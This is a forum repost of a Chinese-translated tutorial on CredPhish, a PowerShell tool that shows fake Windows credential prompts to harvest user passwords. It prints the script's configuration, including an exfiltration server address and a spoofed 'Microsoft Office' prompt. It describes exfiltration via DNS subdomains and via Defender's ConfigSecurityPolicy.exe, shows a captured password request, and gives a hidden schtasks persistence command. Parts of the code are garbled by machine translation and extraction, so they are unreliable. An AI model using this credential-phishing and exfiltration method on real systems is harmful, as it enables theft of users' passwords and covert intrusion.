搜索

[20659] 2021-07-30_如何使用PowerShell钓鱼获取用户密码

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-18
2021-07-30_如何使用PowerShell钓鱼获取用户密码 如 何 使 用   P o w e r S h e l l   钓 鱼 获 取 用 户 密 码 t o k y o n e o n   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 3 0                 欺 骗 凭 证 提 示 是 一 种 有 效 的 权 限 提 升 和 横 向 移 动 技 术 。 在   W i n d o w s   环 境 中 遇 到   O u t l o o k 、 V P N   和 各 种 其 他 身 份 验 证 协 议 看 似 随 机 的 密 码 提 示 并 不 罕 见 。 攻 击 者 将 滥 用   W i n d o w s   和   P o w e r S h e l l   中 内 置 的 功 能 来 调 用 凭 据 弹 出 窗 口 来 获 取 用 户 密 码 。   根 据 M I T R E   A T T & C K   框 架 的 定 义   ：                   “ 当 执 行 需 要 额 外 权 限 的 程 序 时 … … 操 作 系 统 通 常 会 提 示 用 户 提 供 正 确 的 凭 据 以 授 权 任 务 的 提 升 权 限 。 攻 击 者 可 能 会 模 仿 常 见 的 操 作 系 统 组 件 ， 通 过 看 似 合 法 的 提 示 来 提 示 用 户 输 入 凭 据 … … 通 过   P o w e r S h e l l   等 语 言 。 ”   什 么 是 什 么 是   C r e d P h i s h ？ ？                   C r e d P h i s h   是 一 个   P o w e r S h e l l   脚 本 ， 旨 在 调 用 凭 据 提 示 和 泄 露 密 码 。 它 依 靠 C r e d e n t i a l P i c k e r     A P I   来 收 集 用 户 密 码 ， 依 靠   P o w e r S h e l l   的   R e s o l v e - D n s N a m e   进 行   D N S 渗 漏 ， 并 依 靠 W i n d o w s   D e f e n d e r 的   C o n f i g S e c u r i t y P o l i c y . e x e   来 执 行 任 意   G E T   请 求 。                   下 面 是   C r e d P h i s h   的 一 个 例 子 。 请 注 意 凭 据 在   W i n d o w s   安 全 提 示 中 提 交 后 立 即 传 送 到 攻 击 者 的   D N S   服 务 器 。  
                默 认 情 况 下 ， C r e d P h i s h   将 使 用   R e s o l v e - D n s N a m e （ P o w e r S h e l l   内 置 的   D N S   解 析 器 ） 来 窃 取 凭 据 。 它 将 凭 据 中 的 每 个 字 符 转 换 为 其 各 自 的 十 六 进 制 值 ， 将 转 换 后 的 值 分 解 为 预 定 义 的 块 ， 并 将 这 些 块 放 入 流 行 网 站 的 子 域 中 。 以 下 屏 幕 截 图 是 十 六 进 制 形 式 的 泄 露 凭 据 示 例 。 请 注 意   g o o g l e . c o m   和   o f f i c e . c o m   子 域 中 “ t o k y o n e o n ” ( 7 4 6 f 6 b 7 9 6 f 6 e 6 5 6 f 6 e )   的 十 六 进 制 值 。                   在 解 析   D N S   查 询 之 前 ， D N S   服 务 器 将 剥 离 十 六 进 制 子 域 以 避 免 创 建 数 十 个 错 误 响 应 。 在 下 面 的   W i r e s h a r k   屏 幕 截 图 中 ， 请 注 意 “ A n s w e r s ” 字 段 不 再 包 含 子 域 并 成 功 解 析 为   G o o g l e   的   I P   地 址 之 一 。   C r e d P h i s h . p s 1   配 置 配 置  
                我 将 c r e d p h i s h . p s 1 设 计     为 一 个 独 立 的 脚 本 ， 不 需 要   ， 这 是 一 个 常 见 的 妥 协 指 标 。 可 配 置 选 项 以 变 量 的 形 式 位 于   P S 1   脚 本 的 顶 部 ， 以 避 免 冗 长 的 命 令 行 参 数 。                   第 一 行 是 最 重 要 的 ， 因 为 它 定 义 了 泄 露 数 据 的 交 付 位 置 （ 即 攻 击 者 的   K a l i   服 务 器 ） 。   #   e x f i l   地 址     $ e x f i l S e r v e r     =     " 1 9 2 . 1 6 8 . 5 6 . 1 1 2 "                   接 下 来 ， 几 个 变 量 定 义 了 提 示 将 如 何 呈 现 给 毫 无 戒 心 的 目 标 用 户 。 在     定 义 了 “ 应 用 程 序 ” 请 求 用 户 证 书 （ 例 如 ， “ 微 软 办 公 室 ” ） 。 并 且     通 常 指 定 与 请 求 关 联 的 帐 户 。   #   p r o m p t   $ t a r g e t U s e r     =     $   e n v   :   u s e r n a m e   $ c o m p a n y E m a i l     =     "   b l a c k h i l l s i n f o s e c . c o m   "   $ p r o m p t C a p t i o n     =     "   M i c r o s o f t   O f f i c e   "   $ p r o m p t M e s s a g e     =     "   C o n n e c t i n g   t o :   $ t a r g e t U s e r   @   $ c o m p a n y E m a i l   "   $ m a x T r i e s     =     1     #   调 用 提 示 的 最 大 次 数 $   d e l a y P r o m p t s     =     2     #   提 示 之 间 的 秒 数 $ v a l i d a t e C r e d e n t i a l s     =     $   f a l s e     #   如 果 凭 据 有 效 ， 则 中 断   $ m a x T r i e s   并 立 即 删 除                 该     变 量 定 义 了 在 目 标 提 交 凭 据 之 前 提 示 出 现 的 次 数 。 为 避 免 怀 疑 ，     是 默 认 值 。 该     变 量 定 义 了 每 个 提 示 之 间 的 秒 数 （ 如 果     大 于   ） 。 并 且   ， 默 认 情 况 下 禁 用 ， 将 尝 试   在 提 升 的 上 下 文 中 使 用 本 地 验 证 提 交 的 凭 据   。 如 果 启 用 并 验 证 凭 据 ，     则 会 被 忽 略 ， 并 且 数 据 会 立 即 发 送 到 攻 击 者 的 服 务 器 。   I m p o r t - M o d u l e $ p r o m p t C a p t i o n $ p r o m p t M e s s a g e $ m a x T r i e s 1 $ d e l a y P r o m p t s $ m a x T r i e s 1 $ v a l i d a t e C r e d e n t i a l s S t a r t - P r o c e s s $ m a x T r i e s
过 滤 方 法 过 滤 方 法                   如 前 所 述 ， D N S   外 泄 是 将 密 码 传 送 到 攻 击 者 服 务 器 的 默 认 方 法 。                                                   列 表 包 括 用 于   D N S   查 询 并 随 机 选 择 的 各 种 域 。 该                                                         变 量 决 定 了 每 个 子 域 的 所 需 长 度 。   # 域 名 解 析 #   在 k a l i 中 启 动 d n s 服 务 器 ： p y t h o n 3   / p a t h / t o / c r e d p h i s h / d n s _ s e r v e r . p y $   e n a b l e D n s E x f i l     =     $ 真 $   e x f i l D o m a i n s     =   @ （ '   . m i c r o s o f t . c o m   ' ，   '   . g o o g l e . c o m   ' ，   '   . o f f i c e . c o m   ' ，   '   . l i v e . c o m   ' ） 的 D N S   e x f i l ＃ 域 $   r a n d o m D e l a y     =     G E T 随 机   - 最 小 5     - 最 大 2 0     #   d n s   查 询 之 间 的 延 迟 $ s u b d o m a i n L e n g t h     =     6     #   子 域 中 的 最 大 字 符 数 。 必 须 是   2 - 6 0   之 间 的 偶 数 ， 否 则 查 询 会 中 断                 要 拦 截 使 用   D N S   过 滤 功 能 发 送 的 凭 据 ， 请   在   K a l i   中 执 行   d n s _ s e r v e r . p y 脚 本 。 按     +     终 止   D N S   服 务 器 ， 它 将 以 明 文 形 式 重 建 拦 截 的 凭 据 。                     C r e d P h i s h   中 内 置 的 另 一 种 渗 漏 方 法 是   H T T P   请 求 方 法 。 它 利 用 W i n d o w s   D e f e n d e r   中 包 含 的 二 进 制 文 件 “   C o n f i g S e c u r i t y P o l i c y . e x e   ” 向 攻 击 者 的 服 务 器 提 供 凭 据 。 将   $ e x f i l D o m a i n s $ s u b d o m a i n L e n g t h C t r l c $ e n a b l e H t t p E x f i l
  变 量 设 置     为 启 用 它 。   #   h t t p   #   在   k a l i   中 启 动   h t t p   服 务 器 ： p y t h o n 3   - m   h t t p . s e r v e r   8 0   $ e n a b l e H t t p E x f i l     =     $ f a l s e   $ C o n f i g S e c u r i t y P o l i c y     =     "   C : P r o g * F i l e s W i n * D e f e n d e r C o n f i g S e c u r i t y P o l i c y . e x e   "                 要 拦 截 使 用   发 送 的 凭 据   ， 请 在   K a l i   中 启 动 一 个 简 单 的   H T T P   服 务 器 以 在 日 志 中 捕 获 它 们 。   在 网 络 上 ， 泄 露 的 凭 据 将 显 示 如 下 ： G E T   / D E S K T O P - S 4 D A A F 0 % 5 B t o k y o n e o n % 3 A % 2 3 ! E x t r 3 m 3 L y _ % 2 6 e c u R e - P % 4 0 s s w % 2 5 r D % 2 3 % 5 D   H T T P / 1 . 1     A c c e p t :   * / *     U A - C P U :   A M D 6 4     A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e     U s e r - A g e n t :   M o z i l l a   / 4 . 0 （ 兼 容 ； M S I E   7 . 0 ； W i n d o w s   N T   1 0 . 0 ； W i n 6 4 ； x 6 4 ； T r i d e n t / 7 . 0 ； . N E T 4 . 0 C ； . N E T 4 . 0 E ）   主 机 ： 1 9 2 . 1 6 8 . 5 6 . 1 0 4   连 接 ： K e e p - A l i v e                     由 于 凭 证 在 传 输 前 经 过   U R L   编 码 ， 因 此 使 用   B u r p   的 解 码 器 模 块 观 察 数 据 或 使 用   P y t h o n   的   $ t r u e C o n f i g S e c u r i t y P o l i c y . e x e u r l l i b
  库 通 过 命 令 行 进 行   U R L   解 码 。   > > >     f r o m     u r l l i b . p a r s e     i m p o r t   u n q u o t e     > > >     u n q u o t e   ( " / D E S K T O P - S 4 D A A F 0 % 5 B t o k y o n e o n % 3 A % 2 3 ! E x t r 3 m 3 L y _ % 2 6 e c u R e - P % 4 0 s s w % 2 5 r D % 2 3 % 5 D " )     ' / D E S K T O P - S 4 D A A F 0 [ t o k y o n e o n : #   ! E x t r 3 m 3 L y _ &   e c u R e - P @ s s w   % r D # ] '     C r e d P h i s h . p s 1   执 行 执 行                   要 快 速 测 试   C r e d P h i s h ， 请 将   移 动     到 目 标   W i n d o w s   1 0   计 算 机 并 使 用   P o w e r S h e l l   执 行 它 。   c r e d p h i s h . p s 1
                一 种 持 久 的 执 行 方 法 可 能 涉 及   T a s k   S c h e d t o k y o n e o n   / / u l e r ， 它 是   W i n d o w s   的 一 个 组 件 ， 它 提 供 了 以 预 定 义 的 时 间 间 隔 安 排 脚 本 执 行 的 能 力 。 下 面 的     示 例 将   每   2   分 钟 执 行   一 次 。   s c h t a s k s   / c r e a t e   / s c   m i n u t e   / m o   2   / t n   " c r e d p h i s h "   / t r   " p o w e r s h e l l   - e p   b y p a s s   - W i n d o w S t y l e   H i d d e n   C : p a t h t o c r e d P h i s h c r e d p h i s h . p s 1 "   s c h t a s k s c r e d p h i s h . p s 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理